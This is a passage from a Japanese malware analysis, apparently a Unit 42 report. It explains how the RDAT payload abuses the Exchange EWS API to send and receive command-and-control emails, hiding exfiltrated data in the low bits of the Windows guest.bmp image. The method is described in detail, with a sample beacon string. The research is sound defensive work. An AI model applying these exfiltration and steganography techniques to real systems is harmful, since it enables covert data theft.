API\u306b\u5bfe\u3057\u3066\u9001\u4fe1\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u8981\u6c42\u306b\u5bfe\u3059\u308b\u5fdc\u7b54\u3092\u6b63\u898f\u8868\u73fe\u3092\u4f7f\u7528\u3057\u3066\u51e6\u7406\u3057\u3066\u3001XML\u5185\u306b\u6307\u5b9a\u3055\u308c\u3066\u3044\u308b\u5024\u3092\u898b\u3064\u3051\u307e\u3059\u3002\u6b63\u898f\u8868\u73fe\u3092\u4f7f\u7528\u3057\u3066\u30b5\u30fc\u30d0\u30fc\u306e\u5fdc\u7b54\u5185\u3067\u898b\u3064\u3051\u308b\u5024\u3092\u4ee5\u4e0b\u306b\u793a\u3057\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u6307\u5b9a\u3057\u305f\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306e<span style=\"font-family: 'courier new', courier, monospace;\">Id<\/span>\u3068<span style=\"font-family: 'courier new', courier, monospace;\">ChangeKey<\/span><\/li>\n<li>\u96fb\u5b50\u30e1\u30fc\u30eb\u304b\u3089\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306e<span style=\"font-family: 'courier new', courier, monospace;\">AttachmentId Id<\/span><\/li>\n<li>\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306e<span style=\"font-family: 'courier new', courier, monospace;\">&lt;t:Content&gt;<\/span>\u3068<span style=\"font-family: 'courier new', courier, monospace;\">&lt;\/t:Content&gt;<\/span><\/li>\n<\/ul>\n<p>\u53d6\u5f97\u3057\u305f\u5185\u5bb9\u306f\u3001%TEMP%\u30d5\u30a9\u30eb\u30c0\u306b\u4fdd\u5b58\u3057\u3066\u3001\".bmp\"\u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u3092\u4ed8\u3051\u307e\u3059\u3002\u305d\u306e\u5f8c\u3001\u51e6\u7406\u6e08\u307f\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u524a\u9664\u3059\u308bSOAP\u8981\u6c42\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u308c\u3067\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u653b\u6483\u8005\u304b\u3089\u306e\u30a4\u30f3\u30d0\u30a6\u30f3\u30c9\u901a\u4fe1\u3092\u53d7\u4fe1\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u304c\u5b8c\u4e86\u3057\u307e\u3059\u3002<\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u653b\u6483\u8005\u306b\u30d3\u30fc\u30b3\u30f3\u3092\u9001\u4fe1\u3057\u3066\u30c7\u30fc\u30bf\u3092\u6301\u3061\u51fa\u3059\u305f\u3081\u306b\u3001EWS API\u3092\u64cd\u4f5c\u3057\u3066\u4ee5\u4e0b\u306e3\u3064\u306e\u30b9\u30c6\u30c3\u30d7\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<ol>\n<li>\u300c\u5b9b\u5148\u300d\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u653b\u6483\u8005\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3092\u8a2d\u5b9a\u3057\u305f\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u4fdd\u5b58\u3057\u307e\u3059\u3002<\/li>\n<li>\u4fdd\u5b58\u3057\u305f\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u3001\u30c7\u30fc\u30bf\u304c\u57cb\u3081\u8fbc\u307e\u308c\u3066\u3044\u308bBMP\u753b\u50cf\u3092\u6dfb\u4ed8\u3057\u307e\u3059\u3002<\/li>\n<li>\u4fdd\u5b58\u3057\u305f\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002<\/li>\n<\/ol>\n<p>\u56f35\u306f\u3001\u9001\u4fe1\u3055\u308c\u308b\u76f4\u524d\u306e\u3001BMP\u753b\u50cf\u304c\u6dfb\u4ed8\u3055\u308c\u305f\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u793a\u3057\u307e\u3059\u3002\u3053\u306e\u56f3\u3067\u306f\u3001\u300c\u5b9b\u5148\u300d\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u653b\u6483\u8005\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3001\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u3068\u3057\u3066\u30c7\u30fc\u30bf\u304c\u57cb\u3081\u8fbc\u307e\u308c\u3066\u3044\u308bBMP\u753b\u50cf\u3001\u304a\u3088\u3073\u76ee\u7684\u4e0d\u660e\u306e\u6587\u5b57\u5217\u304c\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u4ef6\u540d\u3068\u30e1\u30c3\u30bb\u30fc\u30b8\u672c\u6587\u304c\u793a\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108028 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-35.png\" alt=\"\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u4f5c\u6210\u3057\u3066\u653b\u6483\u8005\u306b\u9001\u4fe1\u3059\u308b\u524d\u306e\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u793a\u3059Outlook Web App\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\" width=\"2500\" height=\"595\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f35: \u30da\u30a4\u30ed\u30fc\u30c9\u304c\u4f5c\u6210\u3057\u3066\u653b\u6483\u8005\u306b\u9001\u4fe1\u3059\u308b\u524d\u306e\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u793a\u3059Outlook Web App\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8<\/em><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u3053\u306e\u6a5f\u80fd\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306b\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u4f5c\u6210\u3057\u3066\u4e0b\u66f8\u304d\u3068\u3057\u3066\u4fdd\u5b58\u3057\u307e\u3059\u3002\u3053\u3046\u3059\u308b\u3053\u3068\u3067\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u9001\u4fe1\u3059\u308b\u524d\u306b\u3001\u30c7\u30fc\u30bf\u304c\u57cb\u3081\u8fbc\u307e\u308c\u3066\u3044\u308b\u753b\u50cf\u3092\u6dfb\u4ed8\u3067\u304d\u307e\u3059\u3002\u56f36\u306f\u3001EWS API\u306b\u5bfe\u3059\u308bSOAP\u8981\u6c42\u3092\u793a\u3057\u307e\u3059\u3002\u8d64\u3044\u67a0\u3068\u9752\u3044\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b\u90e8\u5206\u3067\u4e0b\u66f8\u304d\u30d5\u30a9\u30eb\u30c0\u306b\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u4fdd\u5b58\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u3053\u3068\u3092\u30b5\u30fc\u30d0\u30fc\u306b\u6307\u5b9a\u3057\u3001\u7dd1\u306e\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b\u306e\u304c\u653b\u6483\u8005\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3067\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108030 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-36.png\" alt=\"\u753b\u50cf\u3092\u6dfb\u4ed8\u3059\u308b\u524d\u306b\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u4f5c\u6210\u3059\u308bHTTP POST\u8981\u6c42\" width=\"1826\" height=\"593\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f36: \u753b\u50cf\u3092\u6dfb\u4ed8\u3059\u308b\u524d\u306b\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u4f5c\u6210\u3059\u308bHTTP POST\u8981\u6c42<\/em><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u4e0b\u66f8\u304d\u30d5\u30a9\u30eb\u30c0\u306b\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u4fdd\u5b58\u3057\u305f\u5f8c\u3001EWS API\u306b\u5bfe\u3059\u308bHTTP POST\u8981\u6c42\u3092\u4f7f\u7528\u3057\u3066\u3001BMP\u753b\u50cf\u3092\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u6dfb\u4ed8\u3057\u307e\u3059\u3002\u56f37\u306f\u3001EWS API\u306b\u5bfe\u3059\u308b\u8981\u6c42\u3092\u793a\u3057\u307e\u3059\u3002\u8d64\u3044\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b\u306e\u304c\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u3001\u9752\u3044\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b\u306e\u304c\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u306ebase64\u30b3\u30f3\u30c6\u30f3\u30c4\u3067\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108032 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-37.png\" alt=\"\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u753b\u50cf\u3092\u6dfb\u4ed8\u3059\u308bHTTP POST\u8981\u6c42\" width=\"1832\" height=\"584\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f37: \u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u753b\u50cf\u3092\u6dfb\u4ed8\u3059\u308bHTTP POST\u8981\u6c42<\/em><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001EWS API\u306b\u5bfe\u3057\u3066\u6700\u5f8c\u306e\u8981\u6c42\u3092\u767a\u884c\u3057\u3066\u3001BMP\u753b\u50cf\u304c\u6dfb\u4ed8\u3055\u308c\u3066\u3044\u308b\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u653b\u6483\u8005\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002\u56f38\u306f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u8d64\u3044\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b<span style=\"font-family: 'courier new', courier, monospace;\">SendItem<\/span>\u30a2\u30af\u30b7\u30e7\u30f3\u3067\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u767a\u884c\u3057\u305fHTTP POST\u8981\u6c42\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108034 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-38.png\" alt=\"\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u653b\u6483\u8005\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306b\u9001\u4fe1\u3059\u308bHTTP POST\u8981\u6c42\" width=\"1828\" height=\"472\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f38: \u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u653b\u6483\u8005\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306b\u9001\u4fe1\u3059\u308bHTTP POST\u8981\u6c42<\/em><\/p>\n<h4><a id=\"post-108014-_a7tru4mb1e01\"><\/a>\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u306b\u3088\u308b\u30c7\u30fc\u30bf\u306e\u57cb\u3081\u8fbc\u307f<\/h4>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u306e\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u3092\u4ecb\u3057\u3066\u3001\u5177\u4f53\u7684\u306b\u306f\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u4f7f\u7528\u3057\u3066\u753b\u50cf\u5185\u306b\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u3093\u3060BMP\u753b\u50cf\u3092\u4ecb\u3057\u3066\u3001C2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3057\u305f\u308a\u3001\u30c7\u30fc\u30bf\u3092C2\u306b\u6301\u3061\u51fa\u3057\u305f\u308a\u3057\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u304cBMP\u753b\u50cf\u304b\u3089\u30c7\u30fc\u30bf\u3092\u62bd\u51fa\u3057\u3066C2\u304b\u3089\u306e\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3059\u308b\u65b9\u6cd5\u306f\u3001\u6301\u3061\u51fa\u3059\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u3080\u65b9\u6cd5\u3068\u540c\u3058\u3067\u3059\u3002\u3053\u306e\u65b9\u6cd5\u3092\u4f7f\u7528\u3057\u3066\u30b3\u30de\u30f3\u30c9\u3092\u9001\u4fe1\u3059\u308bC2\u306f\u89b3\u5bdf\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u304c\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u5206\u6790\u3057\u3066\u3001\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u9001\u4fe1\u3057\u3066\u30b7\u30b9\u30c6\u30e0\u304b\u3089\u30c7\u30fc\u30bf\u3092\u6301\u3061\u51fa\u3059\u65b9\u6cd5\u3092\u7279\u5b9a\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u3057\u305f\u3002<\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u3053\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u3001Windows\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u306b\u5b58\u5728\u3059\u308b\u4ee5\u4e0b\u306e\u753b\u50cf\u3092\u8aad\u307f\u8fbc\u307f\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp<\/span><\/p>\n<p>Windows\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u5fdc\u3058\u3066\u3001\"guest.bmp\"\u753b\u50cf\u306e\u30b5\u30a4\u30ba\u3068\u5185\u5bb9\u306f\u7570\u306a\u308a\u307e\u3059\u3002Windows 7\u306e\u5834\u5408\u306f128x128\u30d4\u30af\u30bb\u30eb\u306e\u30b9\u30fc\u30c4\u30b1\u30fc\u30b9\u306e\u753b\u50cf\u3067\u3042\u308a\u3001Windows 10\u306e\u5834\u5408\u306f448x448\u30d4\u30af\u30bb\u30eb\u306e\u4e00\u822c\u30e6\u30fc\u30b6\u30fc\u30a2\u30a4\u30b3\u30f3\u3067\u3059\u3002\u56f39\u306f\u3001Windows 7\u3068Windows 10\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u304b\u3089\u62bd\u51fa\u3057\u305f2\u3064\u306e\u753b\u50cf\u3067\u3059\u3002\u5f8c\u8005\u306f\u30b5\u30a4\u30ba\u3092\u7e2e\u5c0f\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108082 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2020\/07\/win7_win10_guest_side_by_side_screenshot.png\" alt=\"\" width=\"280\" height=\"141\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f39: \"guest.bmp\"\u753b\u50cf(\u5de6: Windows 7\u3001\u53f3: Windows 10)<\/em><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u753b\u50cf\u306e\u9ad8\u3055\u3001\u5e45\u3001\u304a\u3088\u3073\u8272\u306e\u6df1\u5ea6\u3092\u7279\u5b9a\u3057\u3066\u3001\u30c7\u30fc\u30bf\u5168\u4f53\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u5909\u66f4\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u753b\u50cf\u306e\u6570\u3092\u3001\u4ee5\u4e0b\u306e\u5f0f\u3067\u8a08\u7b97\u3057\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">(\u30c7\u30fc\u30bf\u306e\u9577\u3055)\/(\u5e45*(\u9ad8\u3055-1))<\/span><\/p>\n<p>\u5270\u4f59\u6f14\u7b97\u5b50\u3092\u4f7f\u7528\u3057\u3066\u753b\u50cf\u306b\u53ce\u307e\u3089\u306a\u3044\u30c7\u30fc\u30bf\u304c\u5b58\u5728\u3059\u308b\u304b\u3069\u3046\u304b\u3092\u30c1\u30a7\u30c3\u30af\u3057\u3066\u3001\u5b58\u5728\u3059\u308b\u5834\u5408\u306f\u753b\u50cf\u6570\u306b1\u3092\u52a0\u7b97\u3057\u307e\u3059\u3002\u6b21\u306b\u3001\u753b\u50cf\u5185\u306b\u53ce\u307e\u308b\u30c7\u30fc\u30bf\u306e\u90e8\u5206\u6587\u5b57\u5217\u3092\u62bd\u51fa\u3057\u306a\u304c\u3089\u3001\u30c7\u30fc\u30bf\u3092\u53cd\u5fa9\u51e6\u7406\u3057\u307e\u3059\u3002<\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u3053\u306e\u753b\u50cf\u5185\u306b\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u3080\u65b9\u6cd5\u3092\u8aac\u660e\u3059\u308b\u524d\u306b\u3001BMP\u30d5\u30a1\u30a4\u30eb\u5f62\u5f0f\u306b\u3064\u3044\u3066\u7c21\u5358\u306b\u8aac\u660e\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002BMP\u30d5\u30a1\u30a4\u30eb\u5f62\u5f0f\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u30d8\u30c3\u30c0\u30fc\u3068\u3001\u753b\u50cf\u306e\u5404\u30d4\u30af\u30bb\u30eb\u306e\u8d64\u3001\u7dd1\u3001\u304a\u3088\u3073\u9752\u306e\u8272\u5024\u3092\u683c\u7d0d\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3059\u308b\u5024\u306e\u914d\u5217\u3067\u69cb\u6210\u3055\u308c\u307e\u3059\u3002\u8272\u5024\u306e\u914d\u5217\u306e\u5404\u8272\u5024\u306e\u5f62\u5f0f\u306f\u8272\u306e\u6df1\u5ea6\u306b\u5fdc\u3058\u3066\u7570\u306a\u308a\u307e\u3059\u300224\u30d3\u30c3\u30c8BMP\u753b\u50cf\u3067\u306f\u3001\u753b\u50cf\u306e\u5404\u30d4\u30af\u30bb\u30eb\u306e\u8d64\u3001\u9752\u3001\u304a\u3088\u3073\u7dd1\u306e\u8272\u306e\u6fc3\u5ea6\u3092\u6307\u5b9a\u3059\u308b3\u30d0\u30a4\u30c8\u306e\u5024\u3092\u4f7f\u7528\u3057\u307e\u3059\u300232\u30d3\u30c3\u30c8\u753b\u50cf\u3067\u306f\u30014\u30d0\u30a4\u30c8\u306e\u5024\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002RDAT\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u300124\u30d3\u30c3\u30c8\u306832\u30d3\u30c3\u30c8\u306e\u4e21\u65b9\u306e\u753b\u50cf\u306b\u5bfe\u5fdc\u3067\u304d\u307e\u3059\u3002Windows 7\u3068Windows 10\u306e\"guest.bmp\"\u306f\u3069\u3061\u3089\u308224\u30d3\u30c3\u30c8\u753b\u50cf\u306a\u306e\u3067\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u5404\u30d4\u30af\u30bb\u30eb\u306e3\u30d0\u30a4\u30c8\u306e\u8272\u5024\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u3093\u3067\u3044\u308b\u4e8b\u4f8b\u304c\u89b3\u5bdf\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u5404\u30d4\u30af\u30bb\u30eb\u306e3\u30d0\u30a4\u30c8\u3092\u5909\u66f4\u3057\u3066\u6301\u3061\u51fa\u3059\u30c7\u30fc\u30bf\u306e1\u30d0\u30a4\u30c8\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u5404\u30d4\u30af\u30bb\u30eb\u306e3\u30d0\u30a4\u30c8\u306b\u30c7\u30fc\u30bf\u30d0\u30a4\u30c8\u3092\u5206\u6563\u3059\u308b\u3053\u3068\u3067\u3001\u5143\u306e\u753b\u50cf\u306b\u5bfe\u3059\u308b\u5f71\u97ff\u306f\u308f\u305a\u304b\u3067\u3042\u308a\u3001\u53ef\u8996\u5316\u3059\u308b\u306e\u306f\u56f0\u96e3\u3067\u3059\u3002\u56f310\u306f\u3001Windows 7\u306e\u5909\u66f4\u524d\u306e\u753b\u50cf\u3068\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30c7\u30fc\u30bf\u3092\u904b\u3076\u5909\u66f4\u5f8c\u306e\u753b\u50cf\u3092\u6bd4\u8f03\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108080 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2020\/07\/guest_data_side_by_side_screenshot.png\" alt=\"\" width=\"273\" height=\"140\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f310: \u5de6: \u5909\u66f4\u524d\u306eWindows 7\u306e\"guest.bmp\"\u753b\u50cf\u3001\u53f3: \u30c7\u30fc\u30bf\u3092\u904b\u3076\u5909\u66f4\u5f8c\u306e\u753b\u50cf<\/em><\/p>\n<p>\u56f310\u306f\u3001BMP\u753b\u50cf\u5185\u306b\u57cb\u3081\u8fbc\u307e\u308c\u3066\u3044\u308b\u30c7\u30fc\u30bf\u306b\u6c17\u3065\u304f\u306e\u304c\u3069\u308c\u307b\u3069\u96e3\u3057\u3044\u3053\u3068\u304b\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u30c7\u30fc\u30bf\u3092\u904b\u3076\u305f\u3081\u306b\u5909\u66f4\u3055\u308c\u305f29\u30d4\u30af\u30bb\u30eb\u3092\u62e1\u5927\u3057\u3066\u3001\u9055\u3044\u3092\u53ef\u8996\u5316\u3057\u305f\u3068\u3053\u308d\u3001\u56f311\u3067\u6bd4\u8f03\u3057\u3066\u3044\u308b\u3088\u3046\u306b\u8272\u304c\u308f\u305a\u304b\u306b\u9055\u3063\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u30022\u3064\u306e\u753b\u50cf\u306e\u30d4\u30af\u30bb\u30eb\u306f\u3059\u3079\u3066\u9055\u3063\u3066\u3044\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u4e00\u90e8\u306e\u30d4\u30af\u30bb\u30eb\u306f\u3001\u4ed6\u306e\u30d4\u30af\u30bb\u30eb\u3088\u308a\u8272\u306e\u9055\u3044\u304c\u308f\u304b\u308a\u3084\u3059\u304f\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img  class=\"wp-image-108044 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-43.png\" alt=\"\u3053\u306e\u62e1\u5927\u56f3\u306f\u5143\u306e\u30d4\u30af\u30bb\u30eb\u3092\u793a\u3057\u3066\u304a\u308a\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u304c\u5909\u66f4\u5f8c\u306e\u753b\u50cf\u306b\u308f\u305a\u304b\u306a\u5f71\u97ff\u3057\u304b\u53ca\u307c\u3055\u306a\u3044\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u308b\" width=\"1740\" height=\"58\" \/><\/p>\n<p><img  class=\"aligncenter wp-image-108046 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-44.png\" alt=\"\u3053\u306e\u62e1\u5927\u56f3\u306f29\u30d0\u30a4\u30c8\u306e\u30c7\u30fc\u30bf\u3092\u904b\u3093\u3067\u3044\u308b\u30d4\u30af\u30bb\u30eb\u3092\u793a\u3057\u3066\u304a\u308a\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u304c\u5909\u66f4\u5f8c\u306e\u753b\u50cf\u306b\u308f\u305a\u304b\u306a\u5f71\u97ff\u3057\u304b\u53ca\u307c\u3055\u306a\u3044\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u308b\" width=\"1738\" height=\"56\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f311: \u5143\u306e\u30d4\u30af\u30bb\u30eb(\u4e0a)\u306829\u30d0\u30a4\u30c8\u306e\u30c7\u30fc\u30bf\u3092\u904b\u3093\u3067\u3044\u308b\u30d4\u30af\u30bb\u30eb(\u4e0b)\u3092\u793a\u3059\u62e1\u5927\u56f3<\/em><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u753b\u50cf\u5185\u306b\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u3080\u305f\u3081\u306b\u3001\"guest.bmp\"\u306e\u8272\u306e\u6df1\u5ea6\u304c24\u30d3\u30c3\u30c8\u307e\u305f\u306f32\u30d3\u30c3\u30c8\u306e\u3069\u3061\u3089\u306e\u6df1\u5ea6\u304b\u30c1\u30a7\u30c3\u30af\u3057\u307e\u3059\u3002\u8272\u306e\u6df1\u5ea6\u304c\u308f\u304b\u308b\u3068\u3001\u57cb\u3081\u8fbc\u3080\u30c7\u30fc\u30bf\u306e\u30d3\u30c3\u30c8\u3092\u5206\u6563\u3059\u308b\u305f\u3081\u306b\u5fc5\u8981\u306a\u30d4\u30af\u30bb\u30eb\u3042\u305f\u308a\u306e\u30d0\u30a4\u30c8\u6570\u3092\u8a08\u7b97\u3067\u304d\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u524d\u8ff0\u306e\u56f310\u306b\u793a\u3059Windows 7\u306e\"guest.bmp\"\u306e\u3088\u3046\u306a24\u30d3\u30c3\u30c8BMP\u753b\u50cf\u3067\u306f\u3001\u753b\u50cf\u306e\u30d4\u30af\u30bb\u30eb\u3042\u305f\u308a\u3001\u5404\u30d4\u30af\u30bb\u30eb\u306e\u8d64\u3001\u7dd1\u3001\u304a\u3088\u3073\u9752\u306e\u5024\u3092\u8868\u30593\u30d0\u30a4\u30c8\u304c\u3042\u308a\u307e\u3059\u300224\u30d3\u30c3\u30c8\u753b\u50cf\u3092\u4f7f\u7528\u3059\u308b\u5834\u5408\u3001\u3053\u308c\u3089\u306e3\u30d0\u30a4\u30c8\u306b\u30c7\u30fc\u30bf\u30d0\u30a4\u30c8\u306e8\u30d3\u30c3\u30c8\u3092\u5206\u6563\u3057\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u3001\u30d4\u30af\u30bb\u30eb\u306e\u30d0\u30a4\u30c8\u306e\u4e0b\u4f4d\u30d3\u30c3\u30c8\u3092\u30c7\u30fc\u30bf\u30d0\u30a4\u30c8\u306e\u30d3\u30c3\u30c8\u5024\u306b\u8a2d\u5b9a\u3057\u307e\u3059\u3002<\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u304b\u3089C2\u306b\u9001\u4fe1\u3055\u308c\u305f\u30d3\u30fc\u30b3\u30f3\u304b\u3089\u53d6\u5f97\u3057\u305f\u30b5\u30f3\u30d7\u30eb\u30c7\u30fc\u30bf<span style=\"font-family: 'courier new', courier, monospace;\">8,54351-1616479009,0<\/span>\u3092\u4f7f\u7528\u3057\u3066\u8aac\u660e\u3057\u307e\u3059\u3002C2\u306fbase64\u3067\u3053\u308c\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u3066<span style=\"font-family: 'courier new', courier, monospace;\">OCw1NDM1MS0xNjE2NDc5MDA5LDA=<\/span>\u3092\u751f\u6210\u3057\u3001<span style=\"font-family: 'courier new', courier, 